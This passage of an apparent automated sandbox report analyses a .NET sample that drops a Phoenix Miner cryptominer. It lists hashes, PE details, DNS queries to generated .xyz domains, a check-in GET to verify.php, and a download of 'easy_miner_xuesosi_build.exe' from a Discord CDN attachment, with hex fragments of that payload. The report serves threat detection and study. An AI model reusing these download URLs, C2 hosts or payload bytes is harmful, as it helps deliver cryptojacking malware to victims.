Reputation: unknown

Copyright Joe Security LLC 2022 Page 17 of 103

Static File Info

GeneralFile type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 5.953397925788837

TrID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%Win32 Executable (generic) a (10002005/4) 49.78%Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%Generic Win/DOS Executable (2004/3) 0.01%DOS Executable Generic (2002/1) 0.01%

File name: voFzZ8TzxW.exe

File size: 1062912

MD5: 19f1cf6156dfc1b78f7aec62ffecb3be

SHA1: 472d1290df8edc671329406bcc3ddaa824fad642

SHA256: 79b3c2f31ddcb742affe5aa678a6083a41952d804e185c3eb09cbff928cb7f72

SHA512: 7bc44e43b11f07aba8753e17c370a1e3c78598d4f82dfd912535a35dd67cc1923cc6aa1dfd7b4f88a326cbc0fee9a485ebd39631095fcb2a0291045c10bf304d

SSDEEP: 12288:lh3A9VVAoCYyT1zsyNV+ELwA+b27ck7hkXC4J0hyy99su8CUssuK:H0/pKzsyyExJ4J0hF58T

File Content Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....3...............0.............nL... ...`....@.. ....................................@................................

File Icon

Icon Hash: 00828e8e8686b000

Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS [email protected].................. ........@.. ....................................@.................................T...O...................................8................................................ ............... ..H............text...|.... ...................... ..`.rsrc...............................@[email protected][email protected]........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\whw.exe

\Device\ConDrv

Process: C:\Windows\bfsvc.exe

File Type: ASCII text, with CRLF, LF line terminators

Category: dropped

Size (bytes): 219

Entropy (8bit): 4.484507059186902

Encrypted: false

SSDEEP: 3:quRKyFdcUG1Cg6IIIKEBlhDALev75Jv6Km3CLPCARRA/X3EQv:quRpSUG1YCdPcLez7vhLRRA/Z

MD5: 7F5E411DA0A30133B5BF8DBB7357F514

SHA1: 99C0EE22E0C3DEDEFB3A519632FD0CE314C6C8DB

SHA-256: 4EC6790086A0E5624642FA9C0FB459B4C8AFFA641B958C6896DA2041E5F53AFD

SHA-512: 9456FC05291598F1B46F80A74E7D7F38A66E528EBA92ED4FB64BEA4D6FA952BBE9242926F99EB8ADB2AFD2D8FFE23F9F67515A6DD97F9F3B893649820E0A470A

Malicious: true

Yara Hits: Rule: JoeSecurity_PhoenixMiner, Description: Yara detected Phoenix Miner, Source: \Device\ConDrv, Author: Joe Security

Reputation: unknown

Preview:Phoenix Miner 5.9d Windows/msvc - Release build..-----------------------------------------------....No CUDA driver found.No OpenCL platforms found.No avaiable GPUs for mining. Please check your drivers and/or hardware..

GeneralEntrypoint: 0x504c6e

Entrypoint Section: .text

Static PE Info

Copyright Joe Security LLC 2022 Page 18 of 103

Network Port Distribution

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0xAE33BB01 [Sat Aug 12 16:29:53 2062 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

General

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x102c74 0x102e00 False 0.389379187289 data 5.9565434682 IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

.rsrc 0x106000 0x5de 0x600 False 0.442708333333 data 4.3043923948 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

.reloc 0x108000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jan 15, 2022 20:23:26.520412922 CET 192.168.2.3 8.8.8.8 0x4e3f Standard query (0)

c9d0e790b353537889bd47a364f5acff43c11f246.xyz

A (IP address) IN (0x0001)

Jan 15, 2022 20:23:26.664361954 CET 192.168.2.3 8.8.8.8 0x5b71 Standard query (0)

c9d0e790b353537889bd47a364f5acff43c11f246.xyz

A (IP address) IN (0x0001)

Jan 15, 2022 20:23:27.208971977 CET 192.168.2.3 8.8.8.8 0x1180 Standard query (0)

c9d0e790b353537889bd47a364f5acff43c11f247.xyz

A (IP address) IN (0x0001)

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

TCP Packets

UDP Packets

DNS Queries

Copyright Joe Security LLC 2022 Page 19 of 103

Jan 15, 2022 20:23:27.774447918 CET 192.168.2.3 8.8.8.8 0x2a9d Standard query (0)

cdn.discordapp.com

A (IP address) IN (0x0001)

Jan 15, 2022 20:23:44.083260059 CET 192.168.2.3 8.8.8.8 0xffb3 Standard query (0)

api.telegram.org A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 15, 2022 20:23:26.539696932 CET

8.8.8.8 192.168.2.3 0x4e3f Name error (3) c9d0e790b353537889bd47a364f5acff43c11f246.xyz

none none A (IP address) IN (0x0001)

Jan 15, 2022 20:23:26.683260918 CET

8.8.8.8 192.168.2.3 0x5b71 Name error (3) c9d0e790b353537889bd47a364f5acff43c11f246.xyz

none none A (IP address) IN (0x0001)

Jan 15, 2022 20:23:27.277749062 CET

8.8.8.8 192.168.2.3 0x1180 No error (0) c9d0e790b353537889bd47a364f5acff43c11f247.xyz

185.112.83.97 A (IP address) IN (0x0001)

Jan 15, 2022 20:23:27.799350023 CET

8.8.8.8 192.168.2.3 0x2a9d No error (0) cdn.discordapp.com

162.159.130.233 A (IP address) IN (0x0001)

Jan 15, 2022 20:23:27.799350023 CET

8.8.8.8 192.168.2.3 0x2a9d No error (0) cdn.discordapp.com

162.159.135.233 A (IP address) IN (0x0001)

Jan 15, 2022 20:23:27.799350023 CET

8.8.8.8 192.168.2.3 0x2a9d No error (0) cdn.discordapp.com

162.159.134.233 A (IP address) IN (0x0001)

Jan 15, 2022 20:23:27.799350023 CET

8.8.8.8 192.168.2.3 0x2a9d No error (0) cdn.discordapp.com

162.159.129.233 A (IP address) IN (0x0001)

Jan 15, 2022 20:23:27.799350023 CET

8.8.8.8 192.168.2.3 0x2a9d No error (0) cdn.discordapp.com

162.159.133.233 A (IP address) IN (0x0001)

Jan 15, 2022 20:23:44.100608110 CET

8.8.8.8 192.168.2.3 0xffb3 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN (0x0001)

cdn.discordapp.com

c9d0e790b353537889bd47a364f5acff43c11f247.xyz

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49749 162.159.130.233 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.3 49751 162.159.130.233 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

TimestampkBytestransferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.3 49752 162.159.130.233 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

TimestampkBytestransferred Direction Data

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Copyright Joe Security LLC 2022 Page 20 of 103

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.3 49748 185.112.83.97 80 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

TimestampkBytestransferred Direction Data

Jan 15, 2022 20:23:27.532381058 CET

1147 OUT GET /verify.php?id=17_b0d83164c16b3d8d2c92628519b19471 HTTP/1.1Host: c9d0e790b353537889bd47a364f5acff43c11f247.xyzConnection: Keep-Alive

Jan 15, 2022 20:23:27.590142965 CET

1148 IN HTTP/1.1 200 OKDate: Sat, 15 Jan 2022 19:23:27 GMTServer: Apache/2.4.41 (Ubuntu)Vary: Accept-EncodingContent-Length: 889Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8Data Raw: 4b 69 71 56 46 49 77 73 39 56 30 34 75 56 43 66 7a 42 4d 6d 78 6b 58 6c 67 74 42 39 6e 35 64 6e 65 48 79 37 4d 47 71 71 51 5a 4d 37 59 61 6a 48 56 66 7a 55 30 38 58 48 31 51 4b 47 57 52 75 2b 36 32 53 44 44 68 35 32 42 39 6b 65 71 38 78 34 69 35 68 4e 38 6a 2b 4c 37 64 73 33 63 58 6e 75 6c 75 42 66 75 69 39 69 30 65 6e 41 57 52 72 44 33 6a 59 43 50 6f 2b 37 66 41 6d 50 6c 51 42 63 53 2f 77 34 4e 4d 63 34 33 46 46 63 59 69 65 50 42 30 46 65 57 36 6c 76 42 58 39 52 2b 75 30 43 77 75 6d 46 46 41 4b 58 67 53 73 44 67 39 6b 45 52 4b 57 30 6b 69 67 4e 63 4b 70 67 4a 4a 6c 54 56 65 2b 71 2f 51 73 6c 79 45 53 6e 68 54 33 71 6b 6a 66 2b 32 4b 45 56 56 65 41 4b 4c 33 63 4d 7a 52 65 45 31 74 37 30 77 57 35 39 70 73 67 2b 46 34 43 70 4c 73 72 7a 48 79 61 52 31 46 66 2f 6a 34 32 4e 69 67 4f 37 61 4b 58 73 79 49 44 4d 69 65 46 53 6f 48 48 6c 7a 4a 45 42 73 70 30 52 65 30 54 44 47 45 4d 52 34 44 44 47 6d 7a 77 32 72 36 63 51 43 53 69 59 54 39 38 71 54 4e 78 38 31 63 35 44 79 6a 47 35 30 74 6c 32 2b 70 43 65 54 39 33 73 42 68 6c 42 45 61 78 35 72 30 36 39 45 2b 6d 58 4c 71 57 4d 4b 4e 4e 71 4d 30 6a 68 52 48 53 58 37 55 6d 2f 6e 69 79 61 4f 6b 42 45 49 30 54 71 58 6b 30 77 6a 79 37 79 38 7a 71 41 42 51 39 54 63 67 48 75 4e 38 5a 70 57 52 77 6d 73 6d 66 46 67 6d 41 64 46 64 50 2f 43 34 35 64 71 42 41 55 67 48 44 67 76 42 53 7a 67 44 77 37 78 4e 7a 4f 4f 54 77 73 39 56 52 78 76 48 55 68 33 66 4c 57 5a 46 4f 34 49 6a 7a 6a 6e 2f 48 49 69 69 71 43 77 4e 38 6d 47 6e 67 58 4f 46 6c 66 5a 6b 51 45 54 39 32 37 31 4e 4b 65 55 6b 34 32 47 34 32 35 31 50 4f 39 2f 58 38 4a 67 4f 47 70 66 65 58 59 4b 38 4d 6e 58 6f 63 5a 68 6c 51 47 47 59 59 59 31 73 53 4e 35 2f 38 48 46 32 42 78 38 73 7a 57 62 38 2b 69 65 36 37 49 32 4d 6c 2f 62 43 6e 2f 71 37 4d 54 71 67 6b 34 72 65 31 74 79 48 67 6c 5a 4f 6c 70 48 31 38 58 50 36 70 49 49 4d 49 45 32 65 78 62 56 46 62 6f 63 68 63 32 53 64 71 75 75 4e 57 4e 70 76 2b 7a 6e 58 66 6a 4c 2b 6b 2b 50 32 79 4a 38 52 32 6e 4e 2f 53 53 76 6c 62 50 56 68 69 70 42 62 59 64 56 44 43 37 2f 5a 47 77 53 2f 73 37 45 70 55 35 6b 43 78 2f 4a 55 52 4f 32 2b 64 4d 68 38 50 46 33 72 67 4f 4a 2f 55 57 4f 73 64 48 47 6e 49 79 32 36 5a 30 6e 5a 78 70 70 65 54 63 57 79 42 63 55 54 4a 65 2b 45 2b 56 72 42 35 68 46 6f 76 51 65 6d 31 51 39 6a 75 33 53 7a 30 54 37 71 32 6c 4b 4d 6a 6b 6a 5a 62 43 6c 62 37 42 75 7a 57 33 44 35 4d 66 62 47 52 57 65 61 68 35 38 51 2f 36 31 38 76 39 33 41 48 69 64 67 2f 59 56 4d 30 54 79 69 4b 34 46 76 30 4c 37 6d 55 44 64 38 72 50 6b 71 79 79 35 59 47 2f 6a 43 33 6d 4f 5a 39 48 38 6d 6e 39 79 71 44 66 6d 54 47 6c 4f 55 33 70 6c 41 41 72 72 4a 6e 4b 62 42 43 34 64 68 35 7a 63 66 42 4d 62 5a 72 4c 77 4b 6b 54 4c Data Ascii: KiqVFIws9V04uVCfzBMmxkXlgtB9n5dneHy7MGqqQZM7YajHVfzU08XH1QKGWRu+62SDDh52B9keq8x4i5hN8j+L7ds3cXnuluBfui9i0enAWRrD3jYCPo+7fAmPlQBcS/w4NMc43FFcYiePB0FeW6lvBX9R+u0CwumFFAKXgSsDg9kERKW0kigNcKpgJJlTVe+q/QslyESnhT3qkjf+2KEVVeAKL3cMzReE1t70wW59psg+F4CpLsrzHyaR1Ff/j42NigO7aKXsyIDMieFSoHHlzJEBsp0Re0TDGEMR4DDGmzw2r6cQCSiYT98qTNx81c5DyjG50tl2+pCeT93sBhlBEax5r069E+mXLqWMKNNqM0jhRHSX7Um/niyaOkBEI0TqXk0wjy7y8zqABQ9TcgHuN8ZpWRwmsmfFgmAdFdP/C45dqBAUgHDgvBSzgDw7xNzOOTws9VRxvHUh3fLWZFO4Ijzjn/HIiiqCwN8mGngXOFlfZkQET9271NKeUk42G4251PO9/X8JgOGpfeXYK8MnXocZhlQGGYYY1sSN5/8HF2Bx8szWb8+ie67I2Ml/bCn/q7MTqgk4re1tyHglZOlpH18XP6pIIMIE2exbVFbochc2SdquuNWNpv+znXfjL+k+P2yJ8R2nN/SSvlbPVhipBbYdVDC7/ZGwS/s7EpU5kCx/JURO2+dMh8PF3rgOJ/UWOsdHGnIy26Z0nZxppeTcWyBcUTJe+E+VrB5hFovQem1Q9ju3Sz0T7q2lKMjkjZbClb7BuzW3D5MfbGRWeah58Q/618v93AHidg/YVM0TyiK4Fv0L7mUDd8rPkqyy5YG/jC3mOZ9H8mn9yqDfmTGlOU3plAArrJnKbBC4dh5zcfBMbZrLwKkTL

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49749 162.159.130.233 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

TimestampkBytestransferred Direction Data

2022-01-15 19:23:30 UTC 0 OUT GET /attachments/931084534978576427/931084629404975144/easy_miner_xuesosi_build.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive

HTTPS Proxied Packets

Copyright Joe Security LLC 2022 Page 21 of 103

2022-01-15 19:23:30 UTC 0 IN HTTP/1.1 200 OKDate: Sat, 15 Jan 2022 19:23:30 GMTContent-Type: application/x-msdos-programContent-Length: 8427520Connection: closeCF-Ray: 6ce17a9d1c976904-FRAAccept-Ranges: bytesAge: 211977Cache-Control: public, max-age=31536000Content-Disposition: attachment;%20filename=easy_miner_xuesosi_build.exeETag: "bec308e8e2d80ce6ac72020f906c4e55"Expires: Sun, 15 Jan 2023 19:23:30 GMTLast-Modified: Thu, 13 Jan 2022 07:17:54 GMTVary: Accept-EncodingCF-Cache-Status: HITAlt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"x-goog-generation: 1642058274533910x-goog-hash: crc32c=pr3czw==x-goog-hash: md5=vsMI6OLYDOascgIPkGxOVQ==x-goog-metageneration: 1x-goog-storage-class: STANDARDx-goog-stored-content-encoding: identityx-goog-stored-content-length: 8427520X-GUploader-UploadID: ADPycduDbSYJsgwrz3vHJkTtBY2N8gU_8qWETEUT8eEWR1jj-5T3vOxH5U4Y3TKU85Ot4fhhavYyMfa8xqYpfaRIU4MX-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

2022-01-15 19:23:30 UTC 1 IN Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 37 51 6f 35 4f 57 74 46 51 55 46 32 6d 4f 57 77 64 36 6f 61 62 50 7a 34 58 57 31 31 6a 56 50 61 68 51 69 62 61 53 44 46 52 67 73 68 47 67 54 4f 7a 78 36 4e 4f 76 4b 42 57 79 66 63 59 53 57 52 25 32 42 77 33 42 6c 34 32 45 65 4d 30 53 70 71 41 6d 48 39 7a 4e 44 35 78 48 6a 41 7a 52 4b 66 54 34 6b 61 31 6a 65 71 42 31 4c 4e 42 7a 58 61 25 32 46 59 49 6f 6e 6e 4c 48 25 32 46 4d 50 51 4a 6f 63 74 32 6b 6f 35 41 78 58 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7Qo5OWtFQUF2mOWwd6oabPz4XW11jVPahQibaSDFRgshGgTOzx6NOvKBWyfcYSWR%2Bw3Bl42EeM0SpqAmH9zND5xHjAzRKfT4ka1jeqB1LNBzXa%2FYIonnLH%2FMPQJoct2ko5AxXA%3D%3D"}],"group":"cf-nel","max_age":

2022-01-15 19:23:30 UTC 1 IN Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1f d2 ca 75 5b b3 a4 26 5b b3 a4 26 5b b3 a4 26 bf c3 a7 27 50 b3 a4 26 bf c3 a1 27 f7 b3 a4 26 bf c3 a0 27 49 b3 a4 26 fa c4 a0 27 4b b3 a4 26 fa c4 a7 27 51 b3 a4 26 bf c3 a5 27 5c b3 a4 26 5b b3 a5 26 21 b3 a4 26 fa c4 a1 27 15 b3 a4 26 a9 c4 a1 27 5a b3 a4 26 a9 c4 a6 27 5a b3 a4 26 52 69 63 68 5b b3 a4 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$u[&[&[&'P&'&'I&'K&'Q&'\&[&!&'&'Z&'Z&Rich[&

2022-01-15 19:23:30 UTC 2 IN Data Raw: 13 86 06 00 ad c2 03 57 87 05 23 4f 2d fc 3e 4d 4d 25 a7 26 0e 6c 30 39 48 f2 44 81 55 a8 e4 15 cf b5 e9 ca 74b3 41 b0 6c fb 8b dc 72 08 8e 59 12 00 b9 92 d2 ba b7 a0 9e bd 24 4b 7e 55 47 45 19 47 51 12 f2 aa df 25 a4 4f cb 45 bf 10 09 f5 f6 ab d9 f9 31 b2 3b 43 21 34 8d 1a 26 5b 1f 7c 5d b3 69 42 1f 92 07 4a 91 fe 2e df b7 c9 d2 4e 46 f6 47 b3 3c 25 44 79 0e 5e e8 c7 b3 7b 86 36 62 ce 9c a3 e4 4a 70 25 33 b0 0c 69 72 49 bc 11 6a 2a 88 b3 29 a2 42 cf cf d9 cd 59 79 2a fd d0 e4 0c 0f 16 44 45 d8 90 17 40 d5 f5 ac 0e b8 7a 36 f4 db 8b f4 e4 ee 10 35 67 45 d2 c6 a1 07 bf 5d 8d ad 8d f0 30 19 b7 15 c1 c0 1b 76 09 15 3d cb 4e ab 0c 65 e9 16 92 7f fd 8e ec 87 96 e9 a3 01 5c c9 bb 19 b2 3b 32 aa 88 b6 ec 40 61 72 2a 0c 77 25 a7 da 58 31 5b 32 70 d4 fc 85 09 66 Data Ascii: W#O->MM%&l09HDUtAlrY$K~UGEGQ%OE1;C!4&[|]iBJ.NFG<%Dy^{6bJp%3irIj*)BYy*DE@z65gE]0v=Ne\;2@ar*w%X1[2pf

2022-01-15 19:23:30 UTC 4 IN Data Raw: b5 c3 36 56 ed 62 db 5a 9b 35 33 87 09 d0 cc 5b b7 2c 76 f1 4b e3 59 5e 88 d0 ee ca 00 0d e4 58 f8 ae 95 b8 5c c4 6f 00 c0 41 a8 81 8d 1a 94 d9 9b 41 e1 0d 64 aa 29 e3 64 85 1a 33 8f e2 53 7d 58 8e d1 02 7f 8d 18 bb 0e 4e ec 95 9f 97 dd 76 db 49 8f b6 fd a8 91 aa 4e d7 a1 49 d9 27 13 dc 2e f0 f4 e0 04 1d 6d 0c cc 60 c2 1c 34 80 82 a5 e3 c2 80 7a 33 24 60 90 81 d2 dd 83 6a d8 d8 ad 18 6b 1f 3d fc 63 dd c9 6d e3 9d 24 a0 43 70 82 bc 71 c5 d7 6e 21 d7 ea 8a ae 03 24 ef b0 4d ce fb 11 19 f1 e5 00 7f ca cc 07 4a e3 17 a6 af 62 f3 2f e8 b7 14 f3 92 61 c3 db 8a b7 2a 51 5e d5 c9 d6 88 42 16 2d 92 73 36 6d 16 93 32 70 d4 ed b8 4a 1b 08 a7 53 a6 92 9c 87 51 d9 4d bf 9a 49 79 9c 02 5c 52 76 f8 73 68 de 15 a6 78 a3 07 52 f9 23 52 fc 4e a2 91 1a e5 16 15 44 b5 fa cb Data Ascii: 6VbZ53[,vKY^X\oAAd)d3S}XNvINI'.m`4z3$`jk=cm$Cpqn!$MJb/a*Q^B-s6m2pJSQMIy\RvshxR#RND

2022-01-15 19:23:30 UTC 5 IN Data Raw: 37 26 68 69 0c 98 9c 0f 3e 88 47 cf 5d 20 be 68 d5 22 78 e6 17 a0 54 cf 68 2b 9a ef 55 e5 14 9a 75 ee 5b 36 42 f9 27 57 37 fe 64 42 2d 04 71 0c 46 a1 d3 3f 0e b2 e1 71 3c 7f bb 20 c7 10 76 26 be 60 95 bf 30 ad b8 af 72 7e e3 26 d6 d8 80 c0 6a 94 c2 49 f3 52 08 58 7d b9 a4 64 81 fd 50 3f ce a4 2e 36 33 3c c6 fe 0f 4f 13 b2 6f 3a a0 f8 17 b4 6f e6 ec cf12 aa fb 8d 19 ec 8e 34 1c 13 c1 b3 e1 38 0a 3d d9 30 04 48 a0 c4 8f 36 3a e0 af aa fc 91 9c 4d 5c dc 81 41 6e 96 52 ee 9d 19 0f 20 26 c0 93 5e 2c f4 40 5c f9 2c 22 74 95 9d cb c5 31 0d 5a 81 4c e0 72 8b f6 71 f7 96 3c 6d 1b 3c 45 eb 9d f6 01 41 ba 9b 71 8c 23 54 bf 74 55 f5 8a e9 67 72 9b 65 06 8d 88 11 f4 6d 9f 11 41 1d 3b 0f 0c 52 ca 5a ed 78 10 b9 4d d8 49 29 88 c8 0f ba 10 1b 47 80 e6 30 06 03 68 81 17 Data Ascii: 7&hi>G] h"xTh+Uu[6B'W7dB-qF?q< v&`0r~&jIRX}dP?.63<Oo:o48=0H6:M\AnR &^,@\,"t1ZLrq<m<EAq#TtUgremA;RZxMI)G0h

2022-01-15 19:23:30 UTC 6 IN Data Raw: f1 c4 fa fd 05 e5 99 52 af f5 36 29 ab 6f d4 69 d1 58 de 24 4e b6 20 73 7a c7 49 e4 56 cd bc 6e d6 10 8b 32 3a 31 13 99 85 40 99 b4 08 15 26 08 91 6a ce 3c 1c 85 34 80 19 6e c3 a6 7b 84 b3 66 f8 2b d6 47 19 c2 7a 82 1d a5 92 61 01 b9 50 bb 88 20 1e 5b b3 4e 33 02 63 81 71 0c bc 91 58 92 ac 85 a3 41 a5 02 8e ef 2b 14 93 98 5e 14 bc e8 a1 fe 3d 6e 94 80 7d ec 96 6f 58 32 74 51 93 85 ef 62 b5 ee ae 13 6d c9 41 03 97 7f 3e 7f f9 e7 3b 29 59 04 2c d7 b2 d1 95 c1 6b 63 86 15 13 99 52 1c 5e f8 b9 9f 19 2f 96 08 e1 f9 07 89 d8 e8 77 c6 5a 78 35 06 13 f2 cf 11 31 5b 83 95 e0 0d 35 a6 37 0e be 24 41 67 0f 74 25 b3 1d b7 53 fe c8 5f d3 7b c3 1c 8e c0 40 60 bf 98 04 47 60 4d 99 c2 08 04 cf 7f c8 55 b7 80 33 21 d8 95 4d 68 f9 64 d7 35 76 4f e1 74 5b 55 3a 7c 66 8b 52 Data Ascii: R6)oiX$N szIVn2:1@&j<4n{f+GzaP [N3cqXA+^=n}oX2tQbmA>;)Y,kcR^/wZx51[57$Agt%S_{@`G`MU3!Mhd5vOt[U:|fR

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 22 of 103

2022-01-15 19:23:30 UTC 8 IN Data Raw: 09 00 cb 85 ac 73 e8 c3 8c b1 27 72 74 f0 aa b5 ba 80 c7 28 3f b4 7f 70 4b d2 07 78 1d a0 43 4a 5c e8 be 64 4b 08 0a d4 fa 51 11 d1 69 1e 67 8f b3 ed cc de 94 66 e2 5b 59 2f 8c 0d b9 9b 94 b1 40 f4 05 52 72 95 06 27 28 2d 26 f3 83 13 8d 6c b1 f5 48 6a c6 93 9c cf d9 ae 8c e4 50 6b 52 16 cf c2 da f3 be 95 42 ef 7e 66 dd 88 3a 53 8a 9e cd b0 43 d9 b2 de 30 19 47 42 74 a3 02 a1 5a 4d c2 58 d4 49 e3 be f4 c6 f8 2b 4e de c7 85 67 d0 bc 87 44 04 7e fd 9e 3e c7 c8 d3 32 82 ae 28 51 23 ba bd 04 40 2c 61 1b 66 dc 18 d1 86 83 8e f4 c0 46 fa 6a e9 7c e9 ab e8 29 8b d6 74 1f e3 97 82 5b 33 9f 4a 03 f8 c6 e9 e6 0c 61 da 88 67 51 ee f8 69 c3 e7 e2 2f 3d b8 c1 46 8b 1a 7d c5 d5 60 9b 20 71 ba 2a a2 5c b4 8f 88 5e 29 0b b5 65 06 8a 14 53 ba d0 41 58 3d 94 f3 f0 34 4e b5 Data Ascii: s'rt(?pKxCJ\dKQigf[Y/@Rr'(-&lHjPkRB~f:SC0GBtZMXI+NgD~>2(Q#@,afFj|)t[3JagQi/=F}` q*\^)eSAX=4N

2022-01-15 19:23:30 UTC 9 IN Data Raw: 58 76 29 f7 ae 5a f4 99 da af 09 d9 17 87 e3 a0 71 f3 6b b7 1f 76 7e f0 d3 96 69 8a 3a be f2 35 a7 aa 57 45 b1 40 c7 0e 89 4c bf 89 e5 c7 d3 a9 f0 1f 54 0d 92 c5 73 7c e9 8f 22 9a 81 86 d9 40 a2 ff d4 5b 48 75 4d 8b a2 5b de 8c ed 0522 7d 85 41 2a 3f a8 88 bb 9b ee 1d c0 22 d9 17 a0 ca 93 47 78 11 7c 18 4f 9b fd 12 16 3f 9a 01 94 aa 61 9f cb aa ea 4a 54 38 f7 f5 d7 0b 54 6c 42 da 5d 6a 6f e8 8c 70 76 49 46 fb 52 95 f6 e1 67 4a 05 44 56 98 40 75 5b 1c 5b cc da 3d 0b 72 55 72 f8 eb c5 0a 3c 8a c9 9a 5a 40 e3 89 85 93 e4 b0 7a d2 67 2a 91 01 2b ac 57 9e 80 59 22 2a e1 72 5a 6e a3 a4 4e d5 7f ad 26 4d 77 2c 37 60 80 af 33 b1 ee 72 6f 46 d6 05 05 50 33 35 f9 a1 8f 0a c2 ea 6f 8b b1 1f d4 2d 25 10 53 bd 43 13 7a b0 e1 0a de d8 3b b4 bf fd 5f 49 c1 73 b1 84 b6 Data Ascii: Xv)Zqkv~i:5WE@LTs|"@[HuM["}A*?"Gx|O?aJT8TlB]jopvIFRgJDV@u[[=rUr<Z@zg*+WY"*rZnN&Mw,7`3roFP35o-%SCz;_Is

2022-01-15 19:23:30 UTC 10 IN Data Raw: f3 f3 6d e7 eb 68 36 80 24 49 67 8d 26 5f ce 18 31 45 1c 7e e5 45 74 fc ad f5 50 14 12 45 29 04 80 c6 73 11 ae 96 fe 48 95 4e d3 94 db 44 ee ca db 0f cb 98 c3 55 3d 0b ed 28 97 2c 95 2e 15 bb 10 22 40 fe 60 95 9e cf 97 51 0e 0d 5d 07 f5 0d db 2b f2 cd 4b 23 b4 db 6c c3 47 b1 dc 6e 5b 3a 96 84 75 12 27 b4 2e 1d 51 eb dc ca 61 86 6e dd e0 a5 92 1e ef c9 bf 73 1a 8f 58 9a 27 85 f1 15 91 af 11 39 02 80 4c 17 3a 85 fb 39 b2 96 ed 0e 17 a2 a1 f0 16 55 c8 bf 8b 54 40 d6 64 41 62 73 b8 5d b7 8d 50 50 a1 f8 95 43 de db 59 7c e3 0e eb d1 c5 af db 8c a5 5e c8 32 8e de cc 77 7b 19 95 c1 35 95 41 e7 2a fa 33 6b 6d 3f b3 6d eb 36 3c 84 36 65 45 bb 46 7f 74 4e 76 13 ae da f3 f9 23 4f 78 a9 97 9b 3b df 23 1b d9 d8 17 18 4a 41 e4 0c 1b 90 de 47 28 04 4b 4c 00 6c 2f 73 42 Data Ascii: mh6$Ig&_1E~EtPE)sHNDU=(,."@`Q]+K#lGn[:u'.QansX'9L:9UT@dAbs]PPCY|^2w{5A*3km?m6<6eEFtNv#Ox;#JAG(KLl/sB

